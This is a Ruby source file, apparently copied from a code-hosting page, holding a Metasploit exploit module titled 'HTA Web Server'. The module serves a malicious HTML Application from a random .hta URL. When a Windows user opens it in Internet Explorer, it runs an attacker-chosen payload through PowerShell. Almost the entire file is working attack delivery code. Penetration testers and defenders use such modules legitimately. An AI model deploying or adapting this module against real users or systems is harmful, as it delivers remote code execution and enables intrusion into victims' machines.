57 lines
1.8 KiB
Ruby
57 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ManualRanking
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include Msf::Exploit::Remote::HttpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTA Web Server',
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'Description' => %q(
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This module hosts an HTML Application (HTA) that when opened will run a
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payload via Powershell. When a user navigates to the HTA file they will
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be prompted by IE twice before the payload is executed.
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),
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'License' => MSF_LICENSE,
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'Author' => 'Spencer McIntyre',
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'References' =>
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[
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['URL', 'https://www.trustedsec.com/july-2015/malicious-htas/']
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],
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# space is restricted by the powershell command limit
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'Payload' => { 'DisableNops' => true, 'Space' => 2048 },
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'Platform' => %w(win),
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'Targets' =>
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[
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[ 'Powershell x86', { 'Platform' => 'win', 'Arch' => ARCH_X86 } ],
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[ 'Powershell x64', { 'Platform' => 'win', 'Arch' => ARCH_X64 } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Oct 06 2016'
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))
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end
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def on_request_uri(cli, _request)
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print_status('Delivering Payload')
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p = regenerate_payload(cli)
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data = Msf::Util::EXE.to_executable_fmt(
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framework,
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target.arch,
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target.platform,
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p.encoded,
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'hta-psh',
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{ :arch => target.arch, :platform => target.platform }
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)
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send_response(cli, data, 'Content-Type' => 'application/hta')
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end
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def random_uri
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# uri needs to end in .hta for IE to process the file correctly
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'/' + Rex::Text.rand_text_alphanumeric(rand(10) + 6) + '.hta'
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end
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end
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